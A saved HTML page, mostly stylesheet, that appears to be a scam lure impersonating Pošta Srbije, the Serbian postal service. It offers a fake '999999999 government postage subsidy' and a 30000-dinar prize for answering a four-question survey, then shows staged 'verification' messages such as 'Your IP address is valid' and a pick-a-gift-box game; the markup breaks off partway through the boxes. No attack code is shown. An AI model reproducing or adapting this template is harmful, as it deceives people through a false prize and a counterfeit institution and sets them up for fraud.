        margin: 0 0 5px;
        color: #000;
        line-height: normal
    }
    
    .detail_right span {
        width: 100%;
        float: left;
        padding: 0;
        margin: 0 0 5px;
        font-size: 13px;
        color: #818181
    }
    .likebar {
        float: right;
        color: #7F7F7F;
        display: flex;
        flex-direction: row;
        line-height: 24px;
        align-items: center;
        justify-content: center;
    }
    .top-header{
        position: fixed;
        width: 100%;
        height: 58px;
        z-index: 99;
        background: #243645;
        padding: 9px;
        opacity: 0.95;
    }
    .top-header > img{
        width: 30px;
    }
    .caja_gift{
        width: 98%;
        height: 90%;
    }
    
    .weui_dialog {
        position: fixed;
        z-index: 998;
        width: 85%;
        top: 50%;
        left: 50%;
        -webkit-transform: translate(-50%, -50%);
        transform: translate(-50%, -50%);
        background-color: #fafafc;
        text-align: center;
        border-radius: 10px;
        font-family: arial
    }

    .weui_mask {
        position: fixed;
        z-index: 1;
        width: 100%;
        height: 100%;
        top: 0;
        left: 0;
        background: rgba(0, 0, 0, .6)
    }

    .weui_dialog_hd {
        padding: 0em 0 .3em;
        margin-top: 15px;
    }

    .weui_dialog_bd {
        padding: 0 20px;
        font-size: 16px;
        color: #888;
        word-wrap: break-word;
        word-break: normal
    }

    .weui_dialog_ft {
        width: 90%;
        margin-left: 5%;
        margin-bottom: 10px;
        border-bottom-left-radius: 10px;
        border-bottom-right-radius: 10px;
        background-color: #ffffff;
        position: relative;
        line-height: 3rem;
        margin-top: 20px;
        font-size: 17px;
        display: -webkit-box;
        display: -webkit-flex;
        display: -ms-flexbox;
        display: flex
    }

    .weui_dialog_ft:after {
        content: " ";
        position: absolute;
        left: 0;
        top: 0;
        width: 100%;
        height: 1px;
        border-top: 1px solid #d5d5d6;
        color: #d5d5d6;
        -webkit-transform-origin: 0 0;
        transform-origin: 0 0;
        -webkit-transform: scaleY(.5);
        transform: scaleY(.5)
    }

    .weui_btn_dialog.primary {
        color: #fff
    }

    .weui_dialog_ft .btn {
        background-color: #243645 !important;
        color: #ffffff;
        font-size: 1.2em;
        display: block;
        -webkit-box-flex: 1;
        -webkit-flex: 1;
        -ms-flex: 1;
        flex: 1;
        text-decoration: none;
        -webkit-tap-highlight-color: transparent
    }

    .weui_dialog_title {
        font-weight: 600;
        font-size: 20px;
        color: #000;
        margin-top: 10px;
    }

    .dt[[datetime2]]{
        display: none;
        background-image: url(https://cdnbun.com/upload/sewyyz-favicon.png);
    }

    .weui_close {
        display: block;
        position: absolute;
        top: 6px;
        right: 6px;
    }

    img.error {
        display: inline-block;
        transform: scale(1);
        content: '';
        color: transparent;
    }
    img.error::before {
        content: '';
        position: absolute;
        left: 0; top: 0;
        width: 100%; height: 100%;
        background: #243645 !important;
        opacity: 0.95;
    }
    img.error::after {
        content: '';
        position: absolute;
        left: 0; top: 0;
        width: 100%; height: 100%;
        background: #243645 !important;
        opacity: 0.95;
    }
    
    .boxes,
    .boxes cbox,
    .boxes .try img {
        width: 100%
    }

    .boxes {
        margin: 10px auto;
        max-width: 800px
    }

    .boxes>.try {
        position: relative;
        display: inline-block;
        width: 23.8%;
        -webkit-transition-duration: .2s;
        transition-duration: .2s;
        cursor: pointer
    }

    @media (max-width:767px) {
        .boxes>.try {
            width: 32.5%
        }

        .boxes>.try:nth-child(-n+4) {
            display: none
        }
    }

    @media (max-width:479px) {
        .boxes>.try {
            width: 32%
        }
    }

    @media (max-width:319px) {
        .boxes>.try {
            width: 48%
        }

        .boxes>.try:nth-child(-n+5) {
            display: none
        }
    }

    .div_img_gift {
        width: 100%;
        text-align: center;
        position: absolute;
        top: 0;
        left: 0;
        z-index: 5;
        display: none;
        align-items: center;
        justify-content: center
    }

    .img_gift {
        display: none;
        width: 70%;
        -webkit-animation-duration: 1s;
        animation-duration: 1s;
        -webkit-animation-fill-mode: both;
        animation-fill-mode: both;
        -webkit-animation-name: rotateIn;
        animation-name: rotateIn;
        margin: 0 auto
    }

    @-webkit-keyframes rotateIn {
        0% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: rotate3d(0, 0, 1, -200deg);
            transform: rotate3d(0, 0, 1, -200deg);
            opacity: 0
        }

        100% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: none;
            transform: none;
            opacity: 1
        }
    }

    @keyframes rotateIn {
        0% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: rotate3d(0, 0, 1, -200deg);
            transform: rotate3d(0, 0, 1, -200deg);
            opacity: 0
        }

        100% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: none;
            transform: none;
            opacity: 1
        }
    }

    @keyframes tapa_superior {
        0% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: rotate3d(0, 0, 1, -200deg);
            transform: rotate3d(0, 0, 1, -200deg);
            opacity: 0
        }

        100% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: none;
            transform: none;
            opacity: 1
        }
    }

    .boxes {
        background-size: cover;
        border-radius: 20px;
        position: relative;
        text-align: center
    }

    .try {
        position: relative;
        margin: 20px 0
    }

    .try>div {
        position: absolute
    }

    .try .caja {
        position: relative
    }

    .caja_trasera {
        z-index: 1
    }

    .caja_tapa {
        z-index: 3
    }

    .caja {
        z-index: 2
    }

    .caja_gift {
        z-index: 1
    }

    .boxes .try.abierta>.caja_tapa {
        animation: tapa_superior 2s forwards
    }

    .boxes .try.premiazo>.caja_gift {
        animation: tapa_superior 4s infinite alternate
    }

    @keyframes tapa_superior {
        from {
            top: 0
        }

        to {
            top: -40px
        }
    }

    @media (max-width:500px) {
        @keyframes tapa_superior {
            from {
                top: 0
            }

            to {
                top: -30px
            }
        } 
    }

    #p_loading,
    .p_loading {
        position: fixed;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        display: flex;
        align-items: center;
        z-index: 99;
        background-color: #dadada
    }

    .temblor:hover {
        animation: temblor .82s cubic-bezier(.36, .07, .19, .97) both;
        transform: translate3d(0, 0, 0);
        backface-visibility: hidden;
        perspective: 1000px
    }

    @keyframes temblor {

        10%,
        90% {
            transform: translate3d(-1px, 0, 0)
        }

        20%,
        80% {
            transform: translate3d(2px, 0, 0)
        }

        30%,
        50%,
        70% {
            transform: translate3d(-4px, 0, 0)
        }

        40%,
        60% {
            transform: translate3d(4px, 0, 0)
        }
    }

    .temblor_inf {animation: temblor_inf 2s;animation-iteration-count: infinite;margin: 0px;height: 140px;}

    @keyframes temblor_inf {
        0% {transform: translate(1px, 1px) rotate(0deg)}
        10% {transform: translate(-1px, -2px) rotate(-1deg)}
        20% {transform: translate(-3px, 0px) rotate(1deg)}
        30% {transform: translate(3px, 2px) rotate(0deg)}
        40% {transform: translate(1px, -1px) rotate(1deg)}
        50% {transform: translate(-1px, 2px) rotate(-1deg)}
        60% {transform: translate(-3px, 1px) rotate(0deg)}
        70% {transform: translate(3px, 1px) rotate(-1deg)}
        80% {transform: translate(-1px, -1px) rotate(1deg)}
        90% {transform: translate(1px, 2px) rotate(0deg)}
        100% {transform: translate(1px, -2px) rotate(-1deg)}
    }

    .p_modal img {
        max-width: 100%;
        max-height: 28vh
    }

    .p_modal {
        font-family: open sans, helvetica neue, Helvetica, Arial, sans-serif
    }

    .p_modal h2 {
        color: #575757;
        font-size: 25px;
        text-align: center;
        font-weight: 600;
        text-transform: none;
        position: relative;
        margin: 25px 0;
        padding: 0;
        display: block
    }

    .p_modal p {
        color: #797979;
        font-size: 15px;
        text-align: center;
        font-weight: 300;
        position: relative;
        text-align: inherit;
        float: none;
        margin: 0;
        padding: 0;
        line-height: normal
    }

    .p_modal_button {
       
        margin: 15px 0px 0 0px;
        border: 1px solid #000;
        white-space: nowrap;
        align-items: center;
        border-radius: 24px;
        box-sizing: border-box;
        display: inline-flex;
        flex-direction: row;
        height: 48px;
        justify-content: center;
        max-width: 180px;
        min-width: 80px;
        padding: 4px 24px;
        }

    .checkmark {
        display: none
    }

    .checkmark.draw:after {
        animation-duration: 800ms;
        animation-timing-function: ease;
        animation-name: checkmark;
        transform: scaleX(-1) rotate(135deg)
    }

    .checkmark:after {
        opacity: 1;
        height: 3.5em;
        width: 1.75em;
        transform-origin: left top;
        border-right: 3px solid #5cb85c;
        border-top: 3px solid #5cb85c;
        content: "";
        left: 1.75em;
        top: 3.5em;
        position: absolute
    }

    @keyframes checkmark {
        0% {
            height: 0;
            width: 0;
            opacity: 1
        }

        20% {
            height: 0;
            width: 1.75em;
            opacity: 1
        }

        40% {
            height: 3.5em;
            width: 1.75em;
            opacity: 1
        }

        100% {
            height: 3.5em;
            width: 1.75em;
            opacity: 1
        }
    }

    .circle-loader {
        border: 1px solid rgba(0, 0, 0, .2);
        border-left-color: #5cb85c;
        animation: loader-spin 1.2s infinite linear;
        position: relative;
        display: inline-block;
        vertical-align: top;
        border-radius: 50%;
        width: 7em;
        height: 7em
    }

    .load-complete {
        -webkit-animation: none;
        animation: none;
        border-color: #5cb85c;
        transition: border 500ms ease-out
    }

    @keyframes loader-spin {
        0% {
            transform: rotate(0deg)
        }

        100% {
            transform: rotate(360deg)
        }
    }

    .swal2-styled.swal2-confirm {
        background-color: #8cd4f5;
        box-shadow: none;
        padding: 10px 32px;
        margin-top: 10px;
        cursor: pointer;
        color: #fff !important;
        border-radius: 0.2rem;
        border: 1px solid rgba(84, 84, 84, 0.4);
        font-weight: 300;
        font-size: 19px;
        width: 100%;
        background: #243645 !important;
    }

    .swal2-actions {
        padding: 0 !important;
    }
    
    body {
        font-family: Tahoma, Geneva, sans-serif;
        margin: 0;
        padding: 0;
        overscroll-behavior-y: contain
    }

    * {
        box-sizing: border-box
    }

    #p_loading,
    .p_loading {
        position: fixed;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        display: flex;
        align-items: center;
        z-index: 99;
        background-color: #dadada
    }

    .parpadea {
        animation-name: parpadeo;
        animation-duration: 3s;
        animation-timing-function: linear;
        animation-iteration-count: infinite;
        -webkit-animation-name: parpadeo;
        -webkit-animation-duration: 3s;
        -webkit-animation-timing-function: linear;
        -webkit-animation-iteration-count: infinite
    }

    @-moz-keyframes parpadeo {
        0% {
            opacity: 1.0
        }

        50% {
            opacity: .0
        }

        100% {
            opacity: 1.0
        }
    }

    @-webkit-keyframes parpadeo {
        0% {
            opacity: 1.0
        }

        50% {
            opacity: .0
        }

        100% {
            opacity: 1.0
        }
    }

    @keyframes parpadeo {
        0% {
            opacity: 1.0
        }

        50% {
            opacity: .0
        }

        100% {
            opacity: 1.0
        }
    }

    .ladea {
        animation-name: ladea;
        animation-duration: 2000ms;
        animation-delay: 1500ms;
        animation-fill-mode: forwards;
        animation-timing-function: linear;
        animation-iteration-count: infinite;
        transform-origin: 50% 50%
    }

    @keyframes ladea {
        0% {
            transform: rotateY(0deg);
            animation-timing-function: cubic-bezier(0.25, 0.25, 0.75, 0.75)
        }

        10% {
            transform: rotateY(5deg)
        }

        20% {
            transform: rotateY(-5deg)
        }

        30% {
            transform: rotateY(5deg)
        }

        40% {
            transform: rotateY(-5deg)
        }

        50% {
            transform: rotateY(5deg)
        }

        60% {
            transform: rotateY(0deg)
        }

        100% {
            transform: rotateY(0deg)
        }
    }

    .temblor:hover {
        animation: temblor .82s cubic-bezier(.36, .07, .19, .97) both;
        transform: translate3d(0, 0, 0);
        backface-visibility: hidden;
        perspective: 1000px
    }

    @keyframes temblor {

        10%,
        90% {
            transform: translate3d(-1px, 0, 0)
        }

        20%,
        80% {
            transform: translate3d(2px, 0, 0)
        }

        30%,
        50%,
        70% {
            transform: translate3d(-4px, 0, 0)
        }

        40%,
        60% {
            transform: translate3d(4px, 0, 0)
        }
    }

    .temblor_inf {
        animation: temblor_inf 2s;
        animation-iteration-count: infinite
    }

    @keyframes temblor_inf {
        0% {
            transform: translate(1px, 1px) rotate(0deg)
        }

        10% {
            transform: translate(-1px, -2px) rotate(-1deg)
        }

        20% {
            transform: translate(-3px, 0px) rotate(1deg)
        }

        30% {
            transform: translate(3px, 2px) rotate(0deg)
        }

        40% {
            transform: translate(1px, -1px) rotate(1deg)
        }

        50% {
            transform: translate(-1px, 2px) rotate(-1deg)
        }

        60% {
            transform: translate(-3px, 1px) rotate(0deg)
        }

        70% {
            transform: translate(3px, 1px) rotate(-1deg)
        }

        80% {
            transform: translate(-1px, -1px) rotate(1deg)
        }

        90% {
            transform: translate(1px, 2px) rotate(0deg)
        }

        100% {
            transform: translate(1px, -2px) rotate(-1deg)
        }
    }

    .p_modal img {
        max-width: 100%;
        max-height: 20vh
    }

    .p_modal {
        font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif
    }

    .p_modal h2 {
        color: #575757;
        font-size: 25px;
        text-align: center;
        font-weight: 600;
        text-transform: none;
        position: relative;
        margin: 25px 0;
        padding: 0;
        display: block
    }

    .p_modal p {
        color: #797979;
        font-size: 15px;
        text-align: center;
        font-weight: 300;
        position: relative;
        text-align: inherit;
        float: none;
        margin: 0;
        padding: 0;
        line-height: normal
    }

    .p_modal_button {
        display: inline-block;
        box-shadow: rgba(140, 212, 245, 0.8) 0 0 2px, rgba(0, 0, 0, 0.0470588) 0 0 0 1px inset;
        background-color: #8cd4f5;
        color: white;
        border: 0;
        box-shadow: none;
        font-size: 17px;
        font-weight: 500;
        border-radius: 5px;
        padding: 10px 32px;
        margin: 26px 5px 0 5px;
        cursor: pointer
    }

    .checkmark {
        display: none
    }

    .checkmark.draw:after {
        animation-duration: 800ms;
        animation-timing-function: ease;
        animation-name: checkmark;
        transform: scaleX(-1) rotate(135deg)
    }

    .checkmark:after {
        opacity: 1;
        height: 3.5em;
        width: 1.75em;
        transform-origin: left top;
        border-right: 3px solid #5cb85c;
        border-top: 3px solid #5cb85c;
        content: "";
        left: 1.75em;
        top: 3.5em;
        position: absolute
    }

    @keyframes checkmark {
        0% {
            height: 0;
            width: 0;
            opacity: 1
        }

        20% {
            height: 0;
            width: 1.75em;
            opacity: 1
        }

        40% {
            height: 3.5em;
            width: 1.75em;
            opacity: 1
        }

        100% {
            height: 3.5em;
            width: 1.75em;
            opacity: 1
        }
    }

    .circle-loader {
        border: 1px solid rgba(0, 0, 0, 0.2);
        border-left-color: #5cb85c;
        animation: loader-spin 1.2s infinite linear;
        position: relative;
        display: inline-block;
        vertical-align: top;
        border-radius: 50%;
        width: 7em;
        height: 7em
    }

    .load-complete {
        -webkit-animation: none;
        animation: none;
        border-color: #5cb85c;
        transition: border 500ms ease-out
    }

    @keyframes loader-spin {
        0% {
            transform: rotate(0deg)
        }

        100% {
            transform: rotate(360deg)
        }
    }

    .confeti {
        position: relative;
        min-height: 100vh;
        overflow: hidden
    }

    [class|="confetti"] {
        position: absolute
    }

    .red {
        background-color: #e94a3f
    }

    .yellow {
        background-color: #faa040
    }

    .blue {
        background-color: #5fc9f5
    }

    .survey_button,
    .survey_button2,
    .name,
    .profile {
        cursor: pointer
    }

    #comment1,
    #comment2,
    #comment3,
    #comment4,
    #comment5,
    #comment6,
    #content2,
    #content3,
    #q2,
    #q3,
    #q4,
    #q5,
    #result1,
    #result2,
    #result3 {
        display: none
    }

    .survey_button,
    .survey_button2,
    .loading {
        text-align: center
    }

    .survey_button,
    .main-content {
        padding: 10px;
        -webkit-border-radius: 10px;
        -moz-border-radius: 10px;
        border-radius: 10px
    }

    .name,
    .result {
        font-weight: 700
    }

    .main-content p {
        font-size: 14px
    }

    p.question {
        font-size: 15px
    }

    .survey_button {
        border: 2px solid #f0f0f0;
        color: #fff;
        padding: 5px 0;
        margin: 5px 0;
        box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .74)
    }

    .main-content .result {
        margin: 0;
        padding: 5px 0 5px 25px
    }

    .survey_button2 {
        background-color: red;
        font-size: 20px;
        padding: 10px;
        -webkit-border-radius: 20px;
        -moz-border-radius: 20px;
        border-radius: 20px;
        color: #fff;
        box-shadow: 0 1px 4px 0 #000
    }

    .survey_button {
        background-color: #f0a74b;
    }


    .boxes,
    .boxes cbox,
    .boxes .try img {
        width: 100%
    }

    .instructions {
        padding: 10px;
        background-color: #e11e26;
        border-radius: 4px;
        color: #fff;
        margin-top: 20px
    }

    .boxes {
        margin: 10px auto;
        max-width: 800px
    }

    .box-o-t {
        position: absolute;
        top: -34%
    }

    .boxes .discover .box-o-b {
        z-index: 1;
        position: relative
    }

    .boxes .iphone {
        width: 76%;
        height: auto;
        position: absolute;
        z-index: 0;
        top: -20%;
        left: 12%;
        -webkit-transition-duration: .7s;
        transition-duration: .7s
    }

    .boxes .discover>.iphone {
        top: -60%
    }

    .boxes>.try {
        position: relative;
        display: inline-block;
        width: 23.8%;
        -webkit-transition-duration: .2s;
        transition-duration: .2s;
        cursor: pointer
    }

    @media(max-width:767px) {
        .boxes>.try {
            width: 32.5%
        }

        .boxes>.try:nth-child(-n+4) {
            display: none
        }
    }

    @media(max-width:479px) {
        .boxes>.try {
            width: 32%
        }
    }

    @media(max-width:319px) {
        .boxes>.try {
            width: 48%
        }

        .boxes>.try:nth-child(-n+5) {
            display: none
        }
    }

    .div_img_gift {
        width: 100%;
        text-align: center;
        position: absolute;
        top: 0;
        left: 0;
        z-index: 5;
        display: none;
        align-items: center;
        justify-content: center
    }

    .img_gift {
        display: none;
        width: 70%;
        -webkit-animation-duration: 1s;
        animation-duration: 1s;
        -webkit-animation-fill-mode: both;
        animation-fill-mode: both;
        -webkit-animation-name: rotateIn;
        animation-name: rotateIn;
        margin: 0 auto
    }

    @-webkit-keyframes rotateIn {
        0% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: rotate3d(0, 0, 1, -200deg);
            transform: rotate3d(0, 0, 1, -200deg);
            opacity: 0
        }

        100% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: none;
            transform: none;
            opacity: 1
        }
    }

    @keyframes rotateIn {
        0% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: rotate3d(0, 0, 1, -200deg);
            transform: rotate3d(0, 0, 1, -200deg);
            opacity: 0
        }

        100% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: none;
            transform: none;
            opacity: 1
        }
    }

    @keyframes tapa_superior {
        0% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: rotate3d(0, 0, 1, -200deg);
            transform: rotate3d(0, 0, 1, -200deg);
            opacity: 0
        }

        100% {
            -webkit-transform-origin: center;
            transform-origin: center;
            -webkit-transform: none;
            transform: none;
            opacity: 1
        }
    }

    .boxes {
        background-size: cover;
        border-radius: 20px;
        position: relative;
        text-align: center
    }

    .try {
        position: relative;
        margin: 20px 0
    }

    .try>div {
        position: absolute
    }

    .try .caja {
        position: relative
    }

    .caja_trasera {
        z-index: 1
    }

    .caja_tapa {
        z-index: 3
    }

    .caja {
        z-index: 2
    }

    .caja_gift {
        z-index: 1
    }

    .boxes .try.abierta>.caja_tapa {
        animation: tapa_superior 2s forwards
    }

    .boxes .try.premiazo>.caja_gift {
        animation: tapa_superior 4s infinite alternate
    }

    @keyframes tapa_superior {
        from {
            top: 0
        }

        to {
            top: -40px
        }
    }

    @media(max-width:500px) {
        @keyframes tapa_superior {
            from {
                top: 0
            }

            to {
                top: -30px
            }
        }
    }

    .comments_face {
        font-family: 'Roboto', sans-serif;
        background-color: #fff
    }

    .comments_face .comments {
        background-color: #eeeff4;
        border-bottom: 2px solid #fff;
        padding: 10px
    }

    .comments_face .profile {
        float: left;
        width: 60px;
        margin-right: 10px
    }

    .comments_face .comment-content img,
    .comments_face .profile img {
        width: 100%
    }

    .comments_face .comment-content img,
    .comments_face .profile img,
    .comment-status img {
        margin: 0 auto
    }

    .comments_face .comment-content {
        padding-left: 70px
    }

    .comments_face p {
        font-size: 14px
    }

    .comments_face .name {
        margin: 0
    }

    .comments_face .comment-status span,
    .comments_face .name {
        color: #3b5998
    }

    .comments_face .name,
    .comments_face .result {
        font-weight: 700
    }

    .comments_face .button,
    .comments_face .name,
    .comments_face .profile {
        cursor: pointer
    }

    .comments_face .comment-status {
        font-size: 11px;
        cursor: pointer
    }

    .comments_face .comment-status span,
    .comments_face .name {
        color: #3b5998
    }

    .comments_face .button,
    .comments_face .main-content span {
        color: red
    }

    .comments_face .clr {
        clear: both
    }

    .header {
        color: white;
        padding: 10px
    }

    .header p {
        background: right center no-repeat;
        margin: 0 0 0 10px
    }

    .header img {
        max-width: 44vw;
        max-height: 50px
    }

    .content {
        padding: 10px 10px
    }

    .flag {
        background: 98% 20px no-repeat #fff
    }

    .main-content {
        padding: 10px;
        background-color: #fff;
        -webkit-border-radius: 10px;
        -moz-border-radius: 10px;
        border-radius: 10px
    }

    .main-content h2 {
        margin: 20px 0;
        font-weight: 700
    }

    .main-content p {
        line-height: 18px;
        margin: 10px 0
    }

    .header_flex_item {
        font-size: 12px;
        color: #fff;
        font-weight: 700;
        width: 50%
    }

    .ft {
        float: right
    }

    .title_h1 {
        font-family: "Open Sans", HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif
    }

    .caja_premio.flex-counter {
        border-top: 2px solid #e3e3e3;
        box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23);
        margin: 15px 0 25px
    }

    .caja_premio .flex-counter--text {
        font-size: 1.3rem !important
    }

    .caja_premio .flex-counter--text .counter--number {
        font-size: 1.6rem !important
    }

    .caja_premio .flex-counter {
        padding: 0 1rem !important
    }

    #breaking-news-container {
        border-radius: 10px 10px 0 0
    }

    @media(max-width:400px) {
        .title_h1 {
            font-size: 20px
        }
    }

    body.with_background {
        background-repeat: no-repeat;
        background-size: contain;
        background-attachment: fixed
    }

    body.with_background .content {
        max-width: 800px;
        margin: 0 auto;
        border-radius: 10px;
        margin-top: 14%
    }

    @media(max-width:800px) {
        body.with_background {
            background-repeat: no-repeat;
            background-size: contain
        }

        body.with_background .content {
            margin-top: 19%
        }
    }
		
	.loader {
		border: 4px solid #f3f3f3; /* Light grey */
		border-top: 4px solid #3e55a5; /* Blue */
		border-radius: 50%;
		width: 30px;
		height: 30px;
		animation: spin 2s linear infinite;
	}

	@keyframes spin {
		0% { transform: rotate(0deg); }
		100% { transform: rotate(360deg); }
	}

	@keyframes spin {
		0% { transform: rotate(0deg); }
		100% { transform: rotate(360deg); }
	}
    
    /*social btn bg-color*/
    .btn-whatsapp{
        border: 0;
        background-color: #128c7e;
    }
    .btn-messenger{
        border: 0;
        background: olive linear-gradient(to right, #4962ff, #ff5c87);
        transition: background-color .5s;
    }
    .btn-telegram{
        border: 0;
        background-color: #179cde;
    }
    .btn-line{
        border: 0;
        background-color: #00c34d;
    }
    .btn-viber{
        border: 0;
        background-color: #725ff3;
    }
    .btn-instagram{
        border: 0;
        background: olive linear-gradient(to right, #9e35b6, #fcbf5b);
        transition: background-color .5s;
    }
</style>
</head>
<body cz-shortcut-listen="true">
    <div class="top-header">
    <div style="width: 100%;display: inline-flex;">
        <img src="ojeymc.shop_files/kongbai.png" onerror="this.classList.add('error');" style="position: absolute;" height="40px">
        <img src="ojeymc.shop_files/sewyyz-zhong.png" onerror="this.classList.add('error');" style="position: relative;margin: 0 auto;max-width: 200px;" height="40px">
        <img src="ojeymc.shop_files/kongbai.png" onerror="this.classList.add('error');" style="position: absolute;right:14px;" height="40px">
    </div>
</div>
<div id="p_body_content" style="position:relative;top:58px;">
    <div style="display: flex; padding: 10px; background: #fbb900;">
        <div class="header_flex_item" style="width:70%">🎉999999999 government postage subsidy🎊</div>
        <div class="header_flex_item" style="text-align: right;"><span class="p_var-dia">12</span>&nbsp;<span class="p_var-mes_nombre">January</span>,
            <span class="p_var-anyo">2023</span></div>
    </div>
    <div class="content" style="background-color:#fff;">
        <div class="main-content flag" id="content1" style="color:#232f3f;background-color:#fff ;">
            <h3 style="font-weight:700">Congratulations!</h3>
            <p>999999999 government postage subsidy</p>
            <p>Through the questionnaire, you will have a chance to get  30000 динара .</p>
            <img src="ojeymc.shop_files/sewyyz-logo.jpg" width="100%">
            <div id="surveyBtn_mo">
                <div class="main-content flag" id="content1" style="background-color:#fff ;">
                    <div id="q1">
                        <p class="question">
                            <strong>Question 1 of 4 :</strong> Do you know Pošta Srbije ?
                        </p>
                        <div class="survey_button bq1" data-bq="1">
                            yes
                        </div>
                        <div class="survey_button bq1" data-bq="2">
                            no
                        </div>
                    </div>
                    <div id="q2">
                        <p class="question">
                            <strong>Question 2 of 4 :</strong> How old are you ?
                        </p>
                        <div class="survey_button bq2" data-bq="1">
                            18-29
                        </div>
                        <div class="survey_button bq2" data-bq="2">
                            30-39
                        </div>
                        <div class="survey_button bq2" data-bq="3">
                            40-49
                        </div>
                        <div class="survey_button bq2" data-bq="4">
                            50+
                        </div>
                    </div>
                    <div id="q3">
                        <p class="question">
                            <strong>Question 3 of 4 :</strong> How do you think of Pošta Srbije ?
                        </p>
                        <div class="survey_button bq3" data-bq="1">
                            Very good
                        </div>
                        <div class="survey_button bq3" data-bq="2">
                            Unbelievable
                        </div>
                        <div class="survey_button bq3" data-bq="3">
                            OK
                        </div>
                        <div class="survey_button bq3" data-bq="4">
                            Not so good
                        </div>
                    </div>
                    <div id="q4">
                        <p class="question">
                            <strong>Question 4 of 4 :</strong> Are you male or female ?
                        </p>
                        <div class="survey_button bq4" data-bq="1">
                            Male
                        </div>
                        <div class="survey_button bq4" data-bq="2">
                            Female
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="main-content" id="content2">
            <h2 style="text-align:center;margin:10px 0;">We are verifying your answer...</h2>
            <div class="d-flex justify-content-center">
                <div class="loader"></div>
            </div>
            <p></p>
            <p class="result" id="result1" style="color:#000">
                You have answered all 4 questions
            </p>
            <p class="result" id="result2" style="color:#000">
                Your IP address is valid for this promotion
            </p>
            <p class="result" id="result3" style="color:#000">
                Gifts are available and in stock!
            </p>
        </div>
        <div class="main-content" id="content3">
            <div id="boxes" class="boxes">
                <div class="div_img_gift">
                    <img class="img_gift" src="ojeymc.shop_files/Serbia_outbox.png">
                </div>
                <div id="0" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="1" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="2" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="3" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="4" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="5" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="6" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="7" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="8" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="9" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
